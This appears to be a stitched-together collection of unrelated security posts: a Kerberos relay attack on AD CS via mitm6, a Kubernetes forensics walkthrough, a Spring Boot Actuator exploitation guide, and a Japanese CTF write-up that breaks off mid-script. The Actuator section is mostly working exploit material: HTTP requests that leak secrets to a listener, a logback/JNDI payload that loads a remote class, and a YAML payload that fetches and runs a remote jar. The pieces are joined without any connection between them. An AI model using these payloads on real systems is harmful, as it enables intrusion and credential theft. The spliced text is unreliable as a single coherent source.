對krbrelayx 和mitm6 的更改最初,krbrelayx並不是一種真正的中繼工具。相反,它通過使用不受約束的委託配置(系統)帳戶來捕獲Kerberos tgt,並且以與ntlmrelayx相同的方式使用這些tgt可以使用傳入NTLM身份驗證。由於現在有一個實際中轉Kerberos身份驗證的用例,所以我更新了krbrelayx中的功能,使其能夠在中轉模式而不是不受約束的委託模式下運行。如果你不指定任何NT哈希值或AES密鑰(這些密鑰可用於從傳入的Kerberos身份驗證中提取信息),那麼它實際上將默認使用這種模式。簡而言之,現在可以使用krbrelayx中繼Kerberos身份驗證,儘管只支持中繼到HTTP和LDAP。至於mitm6,我已經添加了指定中繼目標的選項,當受害者詢問查詢SOA記錄時,該目標將是授權命名服務器響應中的主機名。這將使受害者為我們的目標服務而不是合法的DNS服務器請求Kerberos服務票據。

需要注意的一點是,當目標AD CS服務器不是受害者用於Kerberos操作的DC時,這種方法最有效。如果它們在同一主機上(例如在小型或實驗室環境中),目標服務器同時是KDC和AD CS服務器,則可能導致受害者向你而不是DC發送Kerberos票據請求(TGS-REQ)。雖然你可以代理此流量,但這超出了本項目的範圍,你可能最終得不到任何身份驗證數據。

我們還得克服最後一個障礙。 Kerberos AP-REQ實際上並沒有告訴我們正在進行身份驗證的是哪個用戶,這只是在Authenticator的加密部分中指定的。所以我們不知道哪個用戶或設備帳戶正在向我們驗證。幸運的是,在默認的AD CS模板場景中,這實際上並不重要,因為這些場景允許將任何名稱指定為CN,而且無論如何它都會被Active Directory中的名稱覆蓋。但是,為了獲得最好的結果,我建議你在使用mitm6時將攻擊範圍限定在一台主機上,並在krbrelayx中使用—victim指定該主機名,這樣它就能正確地填寫字段。

攻擊示例讓我們看看這在實踐中是怎樣的。首先,我們設置krbrelayx,指定AD CS主機(在實際示例中為adscert.internal.corp)作為目標,並指定接口的IPv4地址作為綁定DNS服務器的接口。這可以防止與通常在例如Ubuntu 上偵聽環回適配器的DNS 服務器發生衝突。

5.png

然後我們設置mitm6,使用AD CS主機的名稱作為中繼目標:

6.png

我們等待受害者獲得IPv6 地址並連接到我們的惡意服務器:

7.png

屏幕截圖顯示,受害者試圖更新他們的DNS記錄,我們拒絕這樣做,因為缺乏認證。認證通過TCP發送給krbrelayx的DNS服務器,DNS服務器接受並轉發給AD CS:

8.png

我們看到了預期的流程:

9.png

受害者(192.168.111.73)查詢其主機名的SOA記錄。

我們指出我們的惡意DNS服務器是權威的名稱服務器,受害者將向其發送動態更新查詢。

該查詢被mitm6拒絕,這將表明受害者需要驗證他們的查詢。

客戶機與KDC對話,以獲得我們所指示的服務的Kerberos票據。

客戶端建立到krbrelayx的TCP連接,並發送包含Kerberos票據的TKEY查詢。

該票據被轉發到AD CS主機,從而導致我們的認證成功並頒發證書。

有了這個證書,我們可以使用PKINITtools(或Windows上的Rubeus)使用Kerberos進行認證,並模擬一個域管理員來訪問我們的受害者(在本例中是icorp-w10):

10.png

使用smbclient.py,我們可以列出C驅動器,以證明我們有管理員訪問權限:

11.png

緩解措施此技術濫用Windows 和Active Directory 中的不安全默認設置。這裡的主要問題是Windows對IPv6的偏好,以及AD CS web應用程序的默認安全問題。這些問題可以通過以下方法加以緩解:

緩解mitm6mitm6 濫用了這樣一個事實,即使在僅IPv4 的環境中,Windows 也會查詢IPv6 地址。如果你在內部不使用IPv6,防止mitm6 的最安全方法是通過組策略在Windows 防火牆中阻止DHCPv6 流量和傳入路由器發布。完全禁用IPv6 可能會產生不必要的副作用。將以下預定義規則設置為阻止而不是允許可防止攻擊起作用:

(入站)核心網絡——IPv6 的動態主機配置協議(DHCPV6-In);

(入站)核心網絡——路由器發布(ICMPv6-In);

(出站)核心網絡——IPv6 的動態主機配置協議(DHCPV6-Out);

緩解對AD CS 的中繼默認CertSrv 網站不使用TLS,這應該首先強制執行,然後才能啟用進一步的保護。使用有效證書啟用TLS 後,在IIS 中啟用身份驗證的擴展保護將防止中繼攻擊。這應該在提供此服務的所有單個CA 服務器上的AD CS 的所有基於Web 的註冊功能上啟用。

DFIR-Kubernetes-01.webp.jpg

Kubernetes是什麼,Kubernetes是一個全新的基於容器技術的分佈式架構解決方案,是Google 開源的一個容器集群管理系統,Kubernetes簡稱K8S。用於自動部署、擴展和管理容器化(containerized)應用程序。在本文中,我們將介紹為何Kubernetes 的DFIR 如此重要,以及如何評估你的容器DFIR 功能。我們還將看到一個完整的場景,深入挖掘影響Kubernetes pod 的事件,以及要採取的對應步驟。

什麼是DFIR數字取證和事件響應(DFIR) 是網絡安全領域,包括在事件發生時採用的技術,重點是識別、檢查和響應網絡攻擊。

事件響應計劃發生安全事件時,每家公司都應應用其事件響應計劃(IRP) 中概述的技術。這是一個記錄在案的過程,它建立了在發生違規時要採用的指導方針。儘管每個公司的IRP 可能不同,但可以概括為以下四個主要步驟:

識別:對攻擊及其相關風險的快速深入調查可以在整個過程中發揮關鍵作用。此步驟通常涉及與受影響環境相關的所有安全事件、日誌和報告。

協調:一旦檢測到可能的事件,響應團隊必須評估該事件是否代表真正的安全事件。因此,它還必須決定是否響應它。

解決方案:該過程的這一步用於調查事件本身的原因,限制其影響,並在必要時將其隔離。在此步驟中,團隊應解決安全風險並實施補救措施。最終,它可以從備份中恢復受影響的系統、數據和服務,甚至修復受影響的環境。

19.jpg

工具推薦工具可以在識別、調查和響應網絡攻擊方面發揮關鍵作用。

前面描述的所有階段都應該始終得到有效工具的支持,這些工具可以促進攻擊的調查和響應。通過執行它們,你可以深入了解你控制的所有內容。你可以將證據自動存儲在你的私人遠程存儲中。此外,你可以監控你當前擁有的資源,以檢測意外的工作負載峰值,在發生事件或可疑網絡流量時接收警報,並及時做出響應。

以下是本文將使用的工具或在DFIR Kubernetes 期間可能用得著的工具:

SIEM(例如ElasticSearch):收集和存儲在你要監控的環境中生成的日誌和警報的應用程序,它在識別階段非常有用。

Falco:一種開源威脅檢測引擎,可根據一組規則在運行時觸發警報。 Falco 觸發的警報可以發送到SIEM 以收集運行時事件的證據。

Falcosidekick:一個開源工具,它接收Falco 的事件並以扇出方式將它們轉發到不同的輸出。

Prometheus:使用領先的開源監控解決方案為你的指標和警報提供支持。

Docker Explorer:一個能夠對快照捲進行離線取證分析的開源項目。

kube-forensics:一個開源項目,允許Kubernetes 集群管理員將任何受影響的pod 的工件存儲到AWS 存儲桶中。

Cloud Forensics Utils:一個開源項目,可以通過一組工具加快和簡化取證過程。

kubesploit:一個開源滲透測試框架,可以改善你掃描集群的網絡安全狀況。

因此,擁有工具並規劃正確的策略可以讓你跟踪和收集環境的證據,從而使管理和調查更容易。

Kubernetes 的分步取證程序現在,我們將模擬在Kubernetes 集群中發生網絡安全事件時如何評估DFIR。

20.jpg

在這個場景中,我們將看到如何檢測可能的事件、如何監控事件及其相關資源。最後,我們還將看到如何採取措施減少其影響。

識別過程我們用自己管理的Kubernetes集群,通過Kubernetes負載均衡器服務將我們的應用程序、網站和web服務器部署到網絡中。

如上述步驟所示,我們使用Falco 在運行時檢測事件。 Falco 是事實上的Kubernetes 威脅檢測引擎。它作為守護進程部署在我們集群的每個節點上,並配置了Falcosidekick,以便向本場景中採用的SIEM (Elasticsearch和Prometheus)發送警報。

為了使用Falco 監控整個集群,我們設置了自定義檢測規則,當遠程命令執行攻擊在我們的pod中發生時,這些規則就會觸發。

其中一條Falco 規則如下所示:

1.png

就在幾分鐘前,觸發了其中一個規則,生成了一些警報,現在我們可以在Falcosidekick UI中檢查所有事件信息。

2.webp.jpg

似乎我們的一個Tomcat pod允許一個奇怪的下載,這可能是值得研究的有趣的事情。

一旦發現可疑情況,就可能需要深入評估事件的風險。你所擁有的工具可以給你很多建議,比如可以檢測到正在運行的可疑命令、敏感文件系統路徑中的更改文件以及意外的網絡流量。此外,高CPU 使用率和內存使用率可能表明存在惡意執行,並且可以使用Prometheus 等工具快速監控。

在這種特定情況下,已檢測到它具有很高的資源消耗(特別是受影響的Pod 使用了超過2 GB 的內存)!

協調以減少風險暴露時間——Kubernetes 網絡政策首先,我們需要減少影響。讓我們開始通過Kubernetes 網絡策略隔離受影響的Pod。這樣,你將有機會控制入站和出站流量。

首先,刪除將受影響的Pod 與部署綁定的當前標籤。通過這樣做,我們會自動刪除傳入的流量。接下來,我們必須標記受影響的Pod:

3.png

這個新標籤將我們即將創建的網絡策略的範圍限制為僅標記的Pod,而不是整個名稱空間。

然後,根據文檔,明確拒絕策略的能力無法通過網絡策略完成。為了實現我們的目標,隔離Pod,我們修改了最嚴格的策略(deny-all)並將podSelector 修改為僅適用於受影響的pod。如果有其他NetPol 影響所有pod,則行為可能與預期不同。

4.png

這將阻止任何進出受影響pod 的入站或出站連接。

5.png

這是另一個示例,表明我們無法從帶有藍色標籤的Pod 中獲取信息,並且綠色標籤的pod 不受影響。

6.png

對工作節點進行標籤和封鎖為了隔離攻擊並使調查更容易,我們可以標記部署pod 的工作節點。這樣就可以簡化該節點的區分。

另一個最佳實踐是“封鎖”工作節點。它確保Kubernetes 調度程序將該節點視為不可調度,並阻止在其上部署新的Pod。因此,如果資源允許,新的Pod 將被調度到其他地方,而受影響節點上已經運行的Pod 將被保留。這不會改變受影響的Pod,也不會改變要在其中進行的調查過程。

這對於隔離節點並調查由於容器逃逸而導致的危害非常有用。順便說一句,在本文中,我們僅僅假設攻擊將仍然局限於受影響的pod。

7.webp.jpg

我們已經執行了一些必要的步驟來隔離受影響Pod 中的惡意執行。使用Kubernetes 網絡策略,我們已經確定不允許來自受影響的pod 的傳入或傳出連接。此外,我們標記了涉及的Pod,並阻止在Pod 運行的節點中進行新的部署。有時,你還可以刪除或撤銷受影響的工作節點/Pod 權限或安全憑證,以避免攻擊傳播到其他雲資源。

但是,我們仍然需要了解攻擊是如何發生的,我們承擔的風險是什麼,以及它可能產生的影響。

DFIR Kubernetes方法——快速方法它可以被認為是最快的方法。將正在運行的容器隔離並仍在Kubernetes 集群中運行,你可以直接從其工作節點檢查它。

現在,讓我們跳轉到該節點並開始搜索受影響的容器ID。

8.png

8.2.png

現在我們知道了哪個是容器ID,這樣就可以開始深入挖掘它的細節。

9.1.png

9.2.png

似乎在Elasticsearch 收到日誌前幾秒鐘,在Tomcat 上部署了一個新的war 文件。這可能是攻擊的初始訪問,但讓我們繼續檢查容器文件系統自創建以來的更改。

10.png

10.2.webp.jpg

更改:C 行是更改後的目錄。

追加:A 行是新添加的文件。

如前所述,似乎在Tomcat 管理器中添加的文件很少。而且,文件系統中還寫入了其他文件,例如zzz(已經在上面的Elasticsearch 日誌中顯示)。

為了查看機器中還有什麼在運行,我們還可以啟動docker top和stats命令。

11.1.png

11.2.png

11.3.png

11.4.png

高CPU 使用率,確認之前檢測到的內容。

我們還可以將容器的更改提交到新映像(通過docker commit)或將受影響的文件系統導出為tar 文件(通過docker export),以便存儲發生更改的工件。如果你想了解有關此技術的更多信息,請查看對惡意Docker 容器進行分類。

DFIR Kubernetes——離線方法Docker-explorer是一個開源項目,能夠對快照捲進行離線取證分析。

一旦我們確定了受影響的Pod 所在的Kubernetes 工作節點,最好的做法是對其文件系統進行快照。這可以通過雲提供商控制台或通過採用其他一些開源項目來完成,例如cloud-forensics-utils。有了快照卷,就可以進行事後分析,將其附加並安裝到將使用docker-explorer 的新虛擬機上。

Docker-explorer 可以列出所有docker 容器或僅列出已安裝卷中正在運行的容器。

12.png

一旦我們獲得了我們想要調查的容器ID,就可以提取日誌,就像我們之前使用docker logs

13.png

但最重要的功能是使用docker-explorer 將容器文件系統掛載到VM 中。

14.png

14.2.png

這將使我們能夠訪問受影響的容器文件系統。因此,從現在開始,我們將能夠調查之前監控的進程和文件(zzz、kdevtmpfsi、kinsing)。

15.png

例如,我們可以讀取zzz bash 腳本,或者我們可以提取ELF 文件的哈希值,以便通過VirusTotal 對其進行掃描。

16.png

正如預期的那樣,由於使用了大量的CPU,kdevtmpfsi 進程是一個挖礦程序。

Kube-forensics

kube-forensics 是一個開源項目,允許集群管理員將任何受影響的pod 的工件存儲到S3 存儲桶中。它要求kube-forensics 創建的工作pod 具有將對象寫入AWS 存儲桶的必要權限。

這樣我們就可以將受影響的Pod 證據存儲到應用此PodCheckpoint 的S3 存儲中:

17.png

幾分鐘後,PodCheckpoint 將完成其執行,證據也會出現在目標S3 存儲桶中。

118.webp.jpg

因此,除了保存pod 描述之外,kube-forensics 還以與我們之前在實時主機部分中所做的類似方式存儲與docker inspect 和docker diff 命令相關的結果。

對於“.export.tar”文件,它是可以通過docker export 命令獲得的文件,它可以將容器文件系統存儲在可以檢查發布的“.tar”文件中。

Kubernetes事件的解決和總結通過分析和調查違規行為,你可以識別你在集群中部署的易受攻擊的資產。

在此示例中,攻擊入口點由暴露在網絡中的易受攻擊的Tomcat Pod 表示。取證分析得出的結論是Tomcat 管理器不安全,因為它配置錯誤並且沒有影響其他Pod 或命名空間。

不過,有時受感染的Pod 可能會由於眾所周知或未知的漏洞而被利用。

作為事件響應階段的一部分,你應該從受感染的Pod 中學習,用更新和安全的Pod 替換它們。但是,如果無法保護你的工作負載,可能是因為它們還沒有可用的補丁,你應該採用其他解決方案。

例如,第一個是在發布新補丁之前刪除和刪除你的部署,只要你有足夠的關於發生的事情的信息。這是防止發生任何違規的最嚴格的方法,但它也會在可用性方面影響你的業務。

在其他一些情況下,你可能希望使用Falco 和Falcosidekick 來設置你的Kubernetes 響應引擎。當通過Falco 觸發特定事件時,它允許你在Kubernetes 集群中做出響應。例如,在前面的場景中,如果將具有通用文件名的新.war 文件部署到Tomcat 管理器中或檢測到RCE,我們可以採用終止pod 的規則。

一、SpringBoot env 获取* 敏感信息 

当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*

  1. 通过${name} 可以获取明文字段
    2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) xyzv2ke1uj014466.png15xmzdgh1hb14479.jpg

参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

具体实现过程:

例如: 我们要获取 pid 参数值

"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

然后 post refresh 任意内容,触发漏洞

Ps: 一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

当服务器 nc 监听端口2444 时,接收到

root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

base64 解码得到

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

和上面的 pid 信息一样

同样 获取 user.country参数,步骤也一样

结果:

root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

base64 解码得到

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
脚本化:

输入要查询的参数,输入 nc 监听的端口 bi01fdtzap114516.png

s1key5x0gnj14519.jpg

监听端口,获取指定 header 头,自动 base64 解密 ck5bdtoltej14544.png

pw3fuoz11eq14547.jpgnb2qarcfdv014551.jpg

Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),则可以利用其中的XStream反序列化漏洞。

例如: User-Agent: Java-EurekaClient/v1.4.11

二、SpringBoot_Actuator JNDI RCE

1. 环境搭建

git clone https://github.com/veracode-research/actuator-testbed

启动

mvn install
或
mvn spring-boot:run

通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了

查找关键文件

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

改为

server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

2.重启启动

mvn spring-boot:run

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

稍等片刻

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/ fqlshw3tbsq14568.png

hfoy2tcw3rw14570.png

http://10.20.24.191:8090/jolokia/list 5febavymbsi14599.png

sw1ezok2ou414600.png

中 reloadByURL 可以加载远程 url xml 文件

"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

3.http 服务存放logback.xml,ExportObject.class

logback.xml 文件内容

cri2sb2yvhl14633.png

s2x3sufm3ms14637.png
<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

4.RCE触发

监听 rmi 端口

root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection

浏览器访问加载远程logback.xml文件进行解析,

服务器访问恶意jndi 地址,导致恶意字节码代码执行

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

1pfbly5vaat14678.png

hgw0crbsf2f14681.png

5. 命令执行成功

root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

三、YML RCE 漏洞

通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠

该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点,任需要POST /refresh 任意内容触发漏洞。yaml_payload.yml 文件内容:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

1.yaml_payload.jar 制造

代码 https://github.com/artsploit/yaml-payload

33oe5iu2syz14682.jpg

AwesomeScriptEngineFactory.java 部分代码

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

包含实际的字节码,并在构造函数中带有恶意有效载荷。

ymal_payload.jar\services\javax.script.ScriptEngineFactory

只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 以便ServiceLoader知道在哪里可以找到该类

内容:artsploit.AwesomeScriptEngineFactory

jar 文件存在到http服务器中

http://10.20.24.191:8090/ymal_payload.jar

2.Set spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

rsutwkki0kn14686.png
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

3.refresh post任意内容,RCE 漏洞触发

5wlwduaern014688.png
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

4.RCE 执行成功

hq4xjvw5lae14690.jpg
root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 
Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。
参考链接
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
原文链接: https://github.com/jas502n/SpringBoot_Actuator_RCE


0x00はじめに

この記事は、「2024年のカレッジネットワークセキュリティ管理操作およびメンテナンス競争」の詳細なソリューションです。これは、主にWeb、PWN、RE、その他、アルゴリズムなどの多方向質問の問題解決プロセスをターゲットにしています。

0x01 Misc

サインイン

GIFを与え、オンラインで直接フレーム化します

y2nvtbjrloa1033.png

synt {fvtava-dhvm-jryy-qbar}を取得し、Caesarを見て、rot13で直接デコードします

4tt1gsjwzrp1034.png

flag {signin-quiz-well-done}

Phing Emailの認識

電子メールソフトウェアを使用して表示するか、直接表示できるEML電子メールファイルを提供しました(面倒かもしれません)

11ets415aql1035.png

フラグ1

0eufmayx2tc1036.png

直接base64フラグを取得するためのデコード{welcometo}

gr0klifywn21037.png

フラグ2

次のコンテンツは、base64によってエンコードされた情報です

xiofn4czvg31038.png

3tjnm3beara1039.png

デコード後、それをチェックしてフラグを取得します{phishhunting}

44m2eu0kih41040.png

フラグ3

EMMLファイルの残りのコンテンツにはフラグがないため、送信者のドメイン名からのみ開始できます。

cretkgyh0pp1041.png

DNS分析を確認してください、ここに360脅威インテリジェンスセンターがあります

https://ti.360.net/domain/foobar-edu-cn.com

c4tg0xf1g1t1042.png

(このインテリジェンスセンターは、競争プロセスの分析履歴を記録するため、サブドメイン情報を見るだけでフラグを取得できます)

sbxs1sq3exn1043.png

クエリプロセスはまだ正常です

サードパーティのサービスプラットフォームに加えて、ドメイン名のTXTレコードを表示するためにWindowsに付属するNSLookupを使用することもできます。

nslookup -qt=txt foobar-edu-cn.com

lxsbr25jiiw1044.png

プロンプトによると、ドメイン名の下にサブドメイン名の分析レコードを見つけ、3つの方法で完全なフラグをスプライスする必要があります

ドメイン名は海外で適用されるため、多くの国内のウェブサイトを解析できないため、外国のウェブサイトを使用してゆっくりと試すことができます

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/detailsspf

psi0ggt43af1045.png

https://dnsspy.io/scan/foobar-edu-cn.comdefault._domainkey

4dzy21ta4xj1046.png

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com_dmarc

gzvchzmjxhz1047.png

3つの部分を個別に取得し、フラグを取得するためにそれらをスプライシングします

flag_part1={n0wy0u

flag_part2=_kn0wh0wt0_

flag_part3=analys1sdns}

flag {n0wy0u_kn0wh0wt0_analys1sdns}

実際、これらの3つのサブドメインは、それぞれ対応するサービスを提供するSPF、DKIM、DMARCなど、電子メールサーバーに対応するいくつかのプロトコルです。

https://help.aliyun.com/document_detail/2685946.html

opd3wu51dne1048.png

easyshell

PCAPトラフィックパッケージを提供すると、horseが送信された後に実行する必要があるshell.phpのリクエストを郵送に直接確認できます。

qmc1gi53gdj1049.png

HTTPストリームをフィルタリングし、上記の推測を確認してください

aa4hgur2ioj1050.png

HTTPストリームを追跡すると、投稿のコンテンツが暗号化されます。 Ice Scorpion 4.0の質問と交通特性を組み合わせて、これはIce Scorpion Horseであると推測されます。

アイスサソリフロー特性:

Accept: Application/JSON、Text/JavaScript、 */*; Q=0.01Content-Type: Application/x-www-form-urlencodedConnection: Keep-Alive…ec4rxbj3zhb1051.png

Ice Scorpion 4.0はAES暗号化を使用し、デフォルトキーはE45E329FEB5D925Bです。つまり、MD5の最初の16ビット( 'Rebeyond')です。

Ice Scorpion 3.0、デフォルトのパスワードは次のとおりです。E45E329FEB5D925B、あなたはそれをチェックすることができます:backing_decrypt/decropt.Php

最後の応答パッケージからデコードしてみてください

ここでは、CyberのAES-CBCモードIVが空になることはできないが、オフセットする必要はないので、0に入力する必要があることに注意する必要があります。

4sevmt3zewb1052.png

5letdfyj3ef1053.png

コンテンツのあるものを見つけます

odbwrq5tn3u1054.png

giskvw4zp4m1055.png

toqbwrxjwub1056.png

リクエストパッケージがリクエストしているものをご覧ください。ここで、デコードされた結果を置くと、Secret2.txtファイルを読んでいることがわかります

jgggcbpqdqt1057.png

Secret2.txt

こんにちは、しかしあなたが探しているものは私ではありません。

次に、以前の応答パッケージでキーコンテンツを見つけます

ub5qw2azl321058.png

bwq02juf3dq1059.png

ZIP圧縮パッケージで、直接保存します

5y5aokfl4pr1060.png

zipを確認してください。Secret1.txtとSecret2.txtがあり、パスワードが必要です。

11jpq51yxgt1061.png

既知のsecret2.txtのコンテンツを組み合わせて、既知のプレーンテキストを介して攻撃することができます

最初にsecret2.txtを書き、それをzipとして保存して、元の暗号化アルゴリズムと同じであることを確認してください

l0v1ijra2px1062.png

プレーンテキスト攻撃を開始します。ここに小さなトリックがあります。取得するパスワードが表示されたら停止します。 [ポップアップ]ウィンドウをクリックして、解凍します。

oqvi43yhokq1063.png

Get Flag {70854278-EA0C-462E-BC18-468C7A04A505}

jiykxq0wmbl1064.png

secretdb

タイトルはSQLite DBファイルを提供し、遅すぎるだけで、あなたのためのフラグは開かれていません。

1jmy5om2qhx1065.png

削除された情報を復元する必要があります。直接復元されるツールはありません。復元できないか、文字化けしています。手動で抽出してみてください。

参照:https://www.cnblogs.com/jiangcsu/p/6569045.html

焦点は、ユニット内の構造にあります

fkspmx0belk1066.png

010editorはsecret.dbを開き、それをフラグに見つけて表示します。赤いボックスの下の部分は、以前に削除されたデータです。

jprvvqa1tyl1067.png

上記のデータベースフラグテーブルの構造から、列がID、ソート、メッセージであることがわかります。ソートは、ソートに使用されるインデックスです。メッセージは表示されている文字を保存するため、上記の図の可視文字、つまりメッセージ、および以前の数字がソートであることを単純に観察できます。たとえば、可視文字9の16進数は39であり、以前の数字は0Eであるため、インデックス0Eの値は9です。

sab01qcmfnv1068.png

したがって、残りの値を抽出します

0x17-

0x0 f

0xe 9

0x1b 7

0x10 3

0xa b

0x19 2

0x14 b

0xf 2

0x12-

0x23 4

0x16 6

0x1f a

0x25 8

0x2a

0x1e

0x5 f

0x3 g

0x11 c

0xc 0

0x4 {

0x22a

0x21 b

0x7 2

0x1d f

0x26 f

0x1c-

0x9 1

0x27 0

0xd-

0xb

0x8 9

0x1 l

0x13 4

0x29}

0x15 a

0x28 b

0x6 6

0x1a d

0x24 e

0x20 b

スクリプトを書き、それをソートし、フラグを出力します

f:としてopen( '1.txt'、 'r')

data=f.readlines()

out=['' for iの範囲(43)]

data:のiの場合

